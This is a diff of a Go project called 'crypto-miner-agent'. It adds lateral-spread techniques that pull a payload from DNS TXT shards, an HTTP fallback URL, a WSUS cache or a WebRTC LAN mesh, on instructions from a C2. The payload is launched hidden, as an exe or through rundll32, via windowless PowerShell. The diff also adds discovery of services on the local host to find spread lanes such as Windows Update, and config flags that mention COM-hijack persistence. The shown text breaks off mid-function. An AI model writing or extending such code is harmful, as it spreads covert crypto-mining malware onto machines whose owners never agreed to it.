diff --git a/agent/config/builtin.go b/agent/config/builtin.go index f00d092..be69f88 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -56,5 +56,8 @@ func GetBuiltinConfig() BuiltinConfig { RVNPoolPass: "x", LotlOnionEnabled: false, LotlPolicyFromServer: false, + DnsTxtSpread: true, + WebRTCMeshSpread: false, + WSUSCachePeerSpread: true, } } diff --git a/agent/config/config.go b/agent/config/config.go index 6174060..e6b97a5 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -71,6 +71,9 @@ type BuiltinConfig struct { RemoteAggressive bool // Spread technique options (forge-baked; owned/lab only) WinRMSpread bool // lateral WinRM encoded bootstrap in autospread + DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone + WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off) + WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging COMHijackPersist bool // COM CLSID hijack persistence — default off LinuxLOTLMode string // systemd_run_user | crontab | both | off // Passive spreading — triggered by the environment rather than active scanning diff --git a/agent/deploy/autospread_unix.go b/agent/deploy/autospread_unix.go index 39c91de..2500ff2 100644 --- a/agent/deploy/autospread_unix.go +++ b/agent/deploy/autospread_unix.go @@ -4,7 +4,6 @@ package deploy import ( "context" - "fmt" "log" "net" "os" diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 248927f..58c3f60 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -12,6 +12,16 @@ import ( "crypto-miner-agent/config" ) +// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. +type WebRTCMeshPlanBody struct { + STUNServers []string `json:"stun_servers,omitempty"` + SignalingRelay string `json:"signaling_relay,omitempty"` + LANFallbackURL string `json:"lan_fallback_url,omitempty"` + SeederAgentID string `json:"seeder_agent_id,omitempty"` + RotationHours int `json:"rotation_hours,omitempty"` + IsSeeder bool `json:"is_seeder,omitempty"` +} + // DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan. type DeployPlanBody struct { JoinLane string `json:"join_lane"` @@ -19,6 +29,12 @@ type DeployPlanBody struct { Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` PeerGroup string `json:"peer_group,omitempty"` + CacheGroup string `json:"cache_group,omitempty"` + DNSTXTZone string `json:"dns_txt_zone,omitempty"` + DNSTXTRecords []string `json:"dns_txt_records,omitempty"` + DNSTXTShards []int `json:"dns_txt_shards,omitempty"` + TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` + WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` @@ -71,6 +87,67 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e return "", err } return msg, nil + case "wsus_cache_peer": + if plan.Manifest == nil { + return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest") + } + group := strings.TrimSpace(plan.CacheGroup) + if group == "" { + group = strings.TrimSpace(plan.Manifest.CacheGroup) + } + msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group)) + if err != nil { + return "", err + } + return msg, nil + case "dns_txt": + if plan.Manifest == nil { + return "", fmt.Errorf("join lane dns_txt requires staging manifest") + } + zone := strings.TrimSpace(plan.DNSTXTZone) + if zone == "" { + zone = strings.TrimSpace(plan.Manifest.DNSZone) + } + ttl := plan.TTLRefreshSec + if ttl == 0 { + ttl = plan.Manifest.TTLRefreshSec + } + msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl)) + if err != nil { + return "", err + } + return msg, nil + case "webrtc_mesh": + if plan.Manifest == nil { + return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest") + } + policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours} + if plan.WebRTCMesh != nil { + policy = WebRTCMeshPolicy{ + STUNServers: plan.WebRTCMesh.STUNServers, + SignalingRelay: plan.WebRTCMesh.SignalingRelay, + LANFallbackURL: plan.WebRTCMesh.LANFallbackURL, + SeederAgentID: plan.WebRTCMesh.SeederAgentID, + RotationHours: plan.WebRTCMesh.RotationHours, + IsSeeder: plan.WebRTCMesh.IsSeeder, + } + } + if policy.RotationHours <= 0 { + policy.RotationHours = DefaultWebRTCRotationHours + } + msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{ + Policy: policy, + SHA256: plan.Manifest.SHA256, + Dest: plan.Manifest.Dest, + Launch: plan.Manifest.Launch, + DLLExport: plan.Manifest.DLLExport, + DeferMining: plan.Manifest.DeferMining, + SpreadInstall: plan.Manifest.SpreadInstall, + }) + if err != nil { + return "", err + } + return msg, nil case "bits_curl", "docker_load": if plan.Manifest == nil { return "", fmt.Errorf("join lane %s requires staging manifest", lane) diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go index 484bcc5..5daa5a3 100644 --- a/agent/deploy/discover_join_test.go +++ b/agent/deploy/discover_join_test.go @@ -3,6 +3,7 @@ package deploy import ( "crypto/hmac" "crypto/sha256" + "encoding/base64" "encoding/hex" "encoding/json" "os" @@ -151,3 +152,59 @@ func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) { t.Fatalf("err=%v", err) } } + +func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) { + payload := []byte("dns-txt-signed-plan") + sum := sha256.Sum256(payload) + hash := hex.EncodeToString(sum[:]) + + oldResolve := dnsTXTResolveFn + dnsTXTResolveFn = func(record, fallbackURL string) (string, error) { + return base64.StdEncoding.EncodeToString(payload), nil + } + defer func() { dnsTXTResolveFn = oldResolve }() + + plan := DeployPlanBody{ + JoinLane: "dns_txt", Action: "dns_txt", + DNSTXTZone: "lab.internal", + Manifest: &StagingManifest{ + Method: "dns_txt", + Chunks: []StagingChunk{{Record: "_aether.shard0.lab.internal", Index: 0}}, + SHA256: hash, Dest: "dns-txt-test-worker.exe", Launch: "exe", DeferMining: true, + }, + } + _, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") { + return + } + t.Fatalf("unexpected error: %v", err) + } +} + +func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) { + payload := []byte("webrtc-signed-plan") + sum := sha256.Sum256(payload) + hash := hex.EncodeToString(sum[:]) + + oldFn := webrtcMeshReceiveFn + webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { + return payload, nil + } + defer func() { webrtcMeshReceiveFn = oldFn }() + + plan := DeployPlanBody{ + JoinLane: "webrtc_mesh", Action: "webrtc_mesh", + WebRTCMesh: &WebRTCMeshPlanBody{RotationHours: 24, SeederAgentID: "seed-1"}, + Manifest: &StagingManifest{ + SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true, + }, + } + _, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) + if err != nil { + if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") { + return + } + t.Fatalf("unexpected error: %v", err) + } +} diff --git a/agent/deploy/dns_txt_staging.go b/agent/deploy/dns_txt_staging.go new file mode 100644 index 0000000..a8709d6 --- /dev/null +++ b/agent/deploy/dns_txt_staging.go @@ -0,0 +1,172 @@ +package deploy + +import ( + "encoding/base64" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + "crypto-miner-agent/config" +) + +// DNSTXTManifest describes hash-verified payload assembly from DNS TXT shards. +type DNSTXTManifest struct { + Zone string `json:"zone,omitempty"` + Records []string `json:"records,omitempty"` + ShardIndices []int `json:"shard_indices,omitempty"` + Chunks []StagingChunk `json:"chunks"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` + DLLExport string `json:"dll_export,omitempty"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` + TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` +} + +// DNSTXTFromStagingManifest maps a signed deploy-plan manifest into a dns_txt payload. +func DNSTXTFromStagingManifest(m StagingManifest, zone string, records []string, shards []int, ttl int) DNSTXTManifest { + return DNSTXTManifest{ + Zone: zone, + Records: records, + ShardIndices: shards, + Chunks: m.Chunks, + SHA256: m.SHA256, + Dest: m.Dest, + Launch: m.Launch, + DLLExport: m.DLLExport, + DeferMining: m.DeferMining, + SpreadInstall: m.SpreadInstall, + TTLRefreshSec: ttl, + } +} + +// dnsTXTResolveFn fetches one TXT shard body (injectable for tests). +var dnsTXTResolveFn func(record string, fallbackURL string) (string, error) + +type dnsTXTShard struct { + index int + data []byte +} + +func dnsTXTWorkDir(cfg config.RuntimeConfig, manifest DNSTXTManifest) string { + zone := sanitizeName(manifest.Zone) + if zone == "" { + zone = "local" + } + return filepath.Join(os.TempDir(), ".dns-txt-"+zone+"-"+sanitizeName(cfg.WorkerName)) +} + +// assembleDNSTXTPayload fetches TXT shards, verifies SHA256, returns staged dest path. +func assembleDNSTXTPayload(cfg config.RuntimeConfig, manifest DNSTXTManifest) (dest string, cleanup func(), err error) { + if len(manifest.Chunks) == 0 && len(manifest.Records) == 0 { + return "", nil, fmt.Errorf("dns_txt manifest has no chunks or records") + } + dest, err = ResolveStagingPath(manifest.Dest) + if err != nil { + return "", nil, err + } + workDir := dnsTXTWorkDir(cfg, manifest) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", nil, err + } + cleanupFn := func() { _ = os.RemoveAll(workDir) } + + shards, err := collectDNSTXTShards(manifest) + if err != nil { + cleanupFn() + return "", nil, err + } + sort.Slice(shards, func(i, j int) bool { return shards[i].index < shards[j].index }) + + var assembled []byte + for _, s := range shards { + assembled = append(assembled, s.data...) + } + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + cleanupFn() + return "", nil, err + } + if err := os.WriteFile(dest, assembled, 0o755); err != nil { + cleanupFn() + return "", nil, err + } + if err := verifyFileSHA256(dest, manifest.SHA256); err != nil { + _ = os.Remove(dest) + cleanupFn() + return "", nil, err + } + return dest, cleanupFn, nil +} + +func collectDNSTXTShards(manifest DNSTXTManifest) ([]dnsTXTShard, error) { + resolve := dnsTXTResolveFn + if resolve == nil { + resolve = resolveDNSTXTShardPlatform + } + var shards []dnsTXTShard + for i, chunk := range manifest.Chunks { + record := strings.TrimSpace(chunk.Record) + if record == "" && i < len(manifest.Records) { + record = strings.TrimSpace(manifest.Records[i]) + } + idx := chunk.Index + if idx == 0 && i < len(manifest.ShardIndices) { + idx = manifest.ShardIndices[i] + } + if idx == 0 { + idx = i + } + raw, err := resolve(record, strings.TrimSpace(chunk.URL)) + if err != nil { + return nil, fmt.Errorf("dns shard %d (%s): %w", idx, record, err) + } + data, err := decodeDNSTXTShard(raw) + if err != nil { + return nil, fmt.Errorf("dns shard %d decode: %w", idx, err) + } + shards = append(shards, dnsTXTShard{index: idx, data: data}) + } + if len(shards) == 0 { + for i, record := range manifest.Records { + idx := i + if i < len(manifest.ShardIndices) { + idx = manifest.ShardIndices[i] + } + raw, err := resolve(strings.TrimSpace(record), "") + if err != nil { + return nil, fmt.Errorf("dns record %s: %w", record, err) + } + data, err := decodeDNSTXTShard(raw) + if err != nil { + return nil, fmt.Errorf("dns record %s decode: %w", record, err) + } + shards = append(shards, dnsTXTShard{index: idx, data: data}) + } + } + if len(shards) == 0 { + return nil, fmt.Errorf("dns_txt manifest produced no shards") + } + return shards, nil +} + +func decodeDNSTXTShard(raw string) ([]byte, error) { + raw = strings.TrimSpace(raw) + if raw == "" { + return nil, fmt.Errorf("empty TXT shard") + } + if dec, err := base64.StdEncoding.DecodeString(raw); err == nil && len(dec) > 0 { + return dec, nil + } + if dec, err := base64.RawStdEncoding.DecodeString(raw); err == nil && len(dec) > 0 { + return dec, nil + } + return []byte(raw), nil +} + +// RunDNSTXTStaging verifies SHA256, assembles DNS TXT shards, and launches the worker. +func RunDNSTXTStaging(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) { + return runDNSTXTStagingPlatform(cfg, manifest) +} diff --git a/agent/deploy/dns_txt_staging_test.go b/agent/deploy/dns_txt_staging_test.go new file mode 100644 index 0000000..f16e902 --- /dev/null +++ b/agent/deploy/dns_txt_staging_test.go @@ -0,0 +1,87 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestDNSTXTAssembleWithMockResolver(t *testing.T) { + payload := []byte("dns-txt-mesh-payload") + sum := sha256.Sum256(payload) + encoded := base64.StdEncoding.EncodeToString(payload) + + oldResolve := dnsTXTResolveFn + dnsTXTResolveFn = func(record, fallbackURL string) (string, error) { + if record != "_aether.shard0.internal" { + t.Fatalf("record=%q", record) + } + return encoded, nil + } + defer func() { dnsTXTResolveFn = oldResolve }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}} + manifest := DNSTXTManifest{ + Zone: "internal", + Chunks: []StagingChunk{{Record: "_aether.shard0.internal", Index: 0, File: "shard0.bin"}}, + SHA256: hex.EncodeToString(sum[:]), + Dest: filepath.Join("dns-txt", "worker.exe"), + } + + dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest) + if err != nil { + t.Fatal(err) + } + defer cleanup() + if err := verifyFileSHA256(dest, manifest.SHA256); err != nil { + t.Fatal(err) + } +} + +func TestDNSTXTRejectsPathTraversal(t *testing.T) { + oldResolve := dnsTXTResolveFn + dnsTXTResolveFn = func(record, fallbackURL string) (string, error) { + return base64.StdEncoding.EncodeToString([]byte("x")), nil + } + defer func() { dnsTXTResolveFn = oldResolve }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}} + manifest := DNSTXTManifest{ + Chunks: []StagingChunk{{Record: "r", Index: 0}}, + SHA256: strings.Repeat("a", 64), + Dest: "../../outside.exe", + } + _, _, err := assembleDNSTXTPayload(cfg, manifest) + if err == nil || !strings.Contains(err.Error(), "path traversal") { + t.Fatalf("expected path traversal error, got %v", err) + } +} + +func TestDNSTXTSHA256MismatchRejected(t *testing.T) { + oldResolve := dnsTXTResolveFn + dnsTXTResolveFn = func(record, fallbackURL string) (string, error) { + return base64.StdEncoding.EncodeToString([]byte("wrong")), nil + } + defer func() { dnsTXTResolveFn = oldResolve }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}} + manifest := DNSTXTManifest{ + Chunks: []StagingChunk{{Record: "r", Index: 0}}, + SHA256: strings.Repeat("b", 64), + Dest: "worker.exe", + } + _, cleanup, err := assembleDNSTXTPayload(cfg, manifest) + if cleanup != nil { + defer cleanup() + } + if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") { + t.Fatalf("expected sha256 mismatch, got %v", err) + } + _ = os.Remove("worker.exe") +} diff --git a/agent/deploy/dns_txt_staging_unix.go b/agent/deploy/dns_txt_staging_unix.go new file mode 100644 index 0000000..01af218 --- /dev/null +++ b/agent/deploy/dns_txt_staging_unix.go @@ -0,0 +1,103 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "io" + "net/http" + "os/exec" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// IsDNSTXTReady reports whether nslookup can resolve _aether TXT on this host. +func IsDNSTXTReady(zone string) bool { + zone = strings.TrimSpace(zone) + if zone == "" { + zone = "internal" + } + record := "_aether." + zone + out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput() + if err != nil { + return false + } + return strings.Contains(string(out), "text =") +} + +func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) { + record = strings.TrimSpace(record) + if record != "" { + out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput() + if err == nil { + if txt := parseNslookupTXT(string(out)); txt != "" { + return txt, nil + } + } + } + if fallbackURL != "" { + return fetchDNSTXTFallbackUnix(fallbackURL) + } + if record == "" { + return "", fmt.Errorf("dns record name is empty") + } + return "", fmt.Errorf("no TXT data for %s", record) +} + +func parseNslookupTXT(raw string) string { + for _, line := range strings.Split(raw, "\n") { + line = strings.TrimSpace(line) + lower := strings.ToLower(line) + if strings.Contains(lower, "text =") { + parts := strings.SplitN(line, "=", 2) + if len(parts) == 2 { + return strings.Trim(strings.TrimSpace(parts[1]), `"`) + } + } + } + return "" +} + +func fetchDNSTXTFallbackUnix(url string) (string, error) { + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Get(url) + if err != nil { + return "", err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20)) + if err != nil { + return "", err + } + return strings.TrimSpace(string(body)), nil +} + +func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) { + dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest) + if err != nil { + return "", err + } + defer cleanup() + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v", + len(manifest.Chunks), manifest.Zone, dest, args), nil +} + +// ProbeDNSTXTZone returns a default zone suffix for _aether TXT discovery. +func ProbeDNSTXTZone() string { + return "internal" +} diff --git a/agent/deploy/dns_txt_staging_windows.go b/agent/deploy/dns_txt_staging_windows.go new file mode 100644 index 0000000..d550e7f --- /dev/null +++ b/agent/deploy/dns_txt_staging_windows.go @@ -0,0 +1,119 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "io" + "net/http" + "os/exec" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// IsDNSTXTReady reports whether internal DNS resolves and _aether TXT is present. +func IsDNSTXTReady(zone string) bool { + zone = strings.TrimSpace(zone) + if zone == "" { + zone = "internal" + } + record := "_aether." + zone + out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", + fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | Select-Object -First 1).Strings } catch { '' }`, record)) + if err != nil { + return false + } + return strings.TrimSpace(string(out)) != "" +} + +func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) { + record = strings.TrimSpace(record) + if record != "" { + out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", + fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | ForEach-Object { $_.Strings }) -join '' } catch { '' }`, record)) + if err == nil { + txt := strings.TrimSpace(string(out)) + if txt != "" { + return txt, nil + } + } + } + if fallbackURL != "" { + return fetchDNSTXTFallback(fallbackURL) + } + if record == "" { + return "", fmt.Errorf("dns record name is empty") + } + return "", fmt.Errorf("no TXT data for %s", record) +} + +func fetchDNSTXTFallback(url string) (string, error) { + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Get(url) + if err != nil { + return "", err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20)) + if err != nil { + return "", err + } + return strings.TrimSpace(string(body)), nil +} + +func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) { + dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest) + if err != nil { + return "", err + } + defer cleanup() + + launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) + switch launch { + case "rundll32", "dll": + export := strings.TrimSpace(manifest.DLLExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched rundll32 %s ttl_refresh=%ds", + len(manifest.Chunks), manifest.Zone, dest, export, manifest.TTLRefreshSec), nil + default: + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v ttl_refresh=%ds", + len(manifest.Chunks), manifest.Zone, dest, args, manifest.TTLRefreshSec), nil + } +} + +// ProbeDNSTXTZone returns the zone suffix used for _aether TXT discovery. +func ProbeDNSTXTZone() string { + if _, err := exec.LookPath("powershell.exe"); err != nil { + return "internal" + } + out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", + `try { $d = (Get-CimInstance Win32_ComputerSystem).Domain; if ($d) { $d.ToLower() } else { 'internal' } } catch { 'internal' }`) + if err != nil { + return "internal" + } + zone := strings.TrimSpace(string(out)) + if zone == "" { + return "internal" + } + return zone +} diff --git a/agent/deploy/do_peer_staging_stub.go b/agent/deploy/do_peer_staging_stub.go index 81ba044..58c2f0f 100644 --- a/agent/deploy/do_peer_staging_stub.go +++ b/agent/deploy/do_peer_staging_stub.go @@ -2,7 +2,11 @@ package deploy -import "fmt" +import ( + "fmt" + + "crypto-miner-agent/config" +) // IsDOPeerReady is Windows-only (DoSvc + BITS peer cache). func IsDOPeerReady() bool { @@ -12,3 +16,7 @@ func IsDOPeerReady() bool { func certutilDecodePeerPlatform(src, dest string) error { return fmt.Errorf("certutil decode unavailable") } + +func runDOPeerStagingWindows(_ config.RuntimeConfig, _ DOPeerManifest) (string, error) { + return "", fmt.Errorf("do_peer staging is Windows-only") +} diff --git a/agent/deploy/lotl_onion_windows.go b/agent/deploy/lotl_onion_windows.go index 7150f00..3e571f7 100644 --- a/agent/deploy/lotl_onion_windows.go +++ b/agent/deploy/lotl_onion_windows.go @@ -53,6 +53,25 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) { _ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL)) return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)" + case "wsus_cache_peer": + if !IsWSUSCachePeerReady() && !cfg.WSUSCachePeerSpread { + return false, "Wuauserv/cache dir not ready and wsus_cache_peer_spread off" + } + return true, "wsus_cache_peer SoftwareDistribution cousin staging queued (signed plan via discover_and_join)" + case "dns_txt": + if !cfg.DnsTxtSpread { + return false, "dns_txt_spread forge flag off" + } + zone := ProbeDNSTXTZone() + if !IsDNSTXTReady(zone) { + return false, "_aether TXT not resolvable on " + zone + } + return true, "dns_txt mesh TXT shard staging queued (signed plan via discover_and_join)" + case "webrtc_mesh": + if !IsWebRTCMeshReady(cfg) { + return false, "webrtc_mesh_spread forge flag off (heavier LAN seed path)" + } + return true, "webrtc_mesh LAN seed manifest queued (STUN + WS relay or LAN HTTP fallback)" case "smb": if !cfg.AutoSpread && !cfg.ShareSpread { go RunSpreadOnce(cfg) diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go index 4afa005..8249b88 100644 --- a/agent/deploy/lotl_tiers.go +++ b/agent/deploy/lotl_tiers.go @@ -12,6 +12,9 @@ var DefaultLotlOnionTiers = []string{ "dotnet", "bits_curl", "do_peer", + "wsus_cache_peer", + "dns_txt", + "webrtc_mesh", "smb", "winrm", "linux", @@ -23,7 +26,8 @@ func NormalizeLotlTiers(raw []string) []string { allowed := map[string]struct{}{ "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, - "bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, + "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/agent/deploy/service_discovery_test.go b/agent/deploy/service_discovery_test.go index 7b0f9a4..0ddd6a1 100644 --- a/agent/deploy/service_discovery_test.go +++ b/agent/deploy/service_discovery_test.go @@ -19,6 +19,9 @@ func TestJoinLaneForSignal(t *testing.T) { {"docker", 0, "docker"}, {"CCMEXEC", 0, "gpo"}, {"DoSvc", 0, "do_peer"}, + {"Wuauserv", 0, "wsus_cache_peer"}, + {"dns_txt:_aether.internal", 0, "dns_txt"}, + {"webrtc_mesh", 0, "webrtc_mesh"}, {"gitlab-runner", 0, "bits_curl"}, {"jenkins", 8080, "bits_curl"}, {"unknown-svc", 9999, ""}, diff --git a/agent/deploy/service_discovery_windows.go b/agent/deploy/service_discovery_windows.go index b3661bd..4458e46 100644 --- a/agent/deploy/service_discovery_windows.go +++ b/agent/deploy/service_discovery_windows.go @@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() } $watch = @( 'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker', 'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner', - 'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS' + 'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS','Wuauserv','wuauserv' ) foreach ($n in $watch) { try { @@ -84,6 +84,10 @@ func probeLocalServices() []ServiceGraphEntry { if dockerPipePresent() { entries = append(entries, entryWithLane("docker", 0, "passive_hint")) } + zone := ProbeDNSTXTZone() + if IsDNSTXTReady(zone) { + entries = append(entries, entryWithLane("dns_txt:_aether."+zone, 0, "passive_hint")) + } return dedupeEntries(entries) } diff --git a/agent/deploy/service_graph.go b/agent/deploy/service_graph.go index 4ab77ea..9adc309 100644 --- a/agent/deploy/service_graph.go +++ b/agent/deploy/service_graph.go @@ -50,6 +50,12 @@ func JoinLaneForSignal(serviceName string, port int) string { return "dotnet" case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"): return "do_peer" + case strings.Contains(name, "wuauserv") || strings.Contains(name, "windows update") || strings.Contains(name, "wsus"): + return "wsus_cache_peer" + case strings.Contains(name, "_aether") || strings.Contains(name, "dns_txt"): + return "dns_txt" + case strings.Contains(name, "webrtc_mesh") || strings.Contains(name, "webrtc"): + return "webrtc_mesh" case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"): return "bits_curl" case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"): diff --git a/agent/deploy/staging.go b/agent/deploy/staging.go index 1e3c3bb..928fca4 100644 --- a/agent/deploy/staging.go +++ b/agent/deploy/staging.go @@ -12,8 +12,10 @@ import ( // StagingChunk is one downloadable piece of a staged payload. type StagingChunk struct { - URL string `json:"url"` - File string `json:"file"` + URL string `json:"url"` + File string `json:"file"` + Record string `json:"record,omitempty"` // DNS TXT FQDN for dns_txt lane + Index int `json:"index,omitempty"` // shard index for dns_txt assembly order } // StagingManifest describes a BITS/curl/certutil staging chain from the C2. @@ -28,6 +30,9 @@ type StagingManifest struct { DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` PeerGroup string `json:"peer_group,omitempty"` + CacheGroup string `json:"cache_group,omitempty"` + DNSZone string `json:"dns_zone,omitempty"` + TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` } // ResolveStagingPath applies the same traversal hygiene as upload/download commands. diff --git a/agent/deploy/webrtc_mesh.go b/agent/deploy/webrtc_mesh.go new file mode 100644 index 0000000..4217254 --- /dev/null +++ b/agent/deploy/webrtc_mesh.go @@ -0,0 +1,153 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread. +type WebRTCMeshPolicy struct { + STUNServers []string `json:"stun_servers,omitempty"` + SignalingRelay string `json:"signaling_relay,omitempty"` + LANFallbackURL string `json:"lan_fallback_url,omitempty"` + SeederAgentID string `json:"seeder_agent_id,omitempty"` + RotationHours int `json:"rotation_hours,omitempty"` + IsSeeder bool `json:"is_seeder,omitempty"` +} + +// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback. +type WebRTCMeshManifest struct { + Policy WebRTCMeshPolicy `json:"policy"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` + DLLExport string `json:"dll_export,omitempty"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` +} + +// WebRTCDataChannel is a minimal testable surface for manifest delivery. +type WebRTCDataChannel interface { + Receive() ([]byte, error) +} + +// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay). +var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) + +type mockWebRTCChannel struct { + payload []byte +} + +func (m *mockWebRTCChannel) Receive() ([]byte, error) { + if len(m.payload) == 0 { + return nil, fmt.Errorf("webrtc channel empty") + } + return m.payload, nil +} + +// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes. +func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel { + return &mockWebRTCChannel{payload: payload} +} + +func webrtcMeshWorkDir(cfg 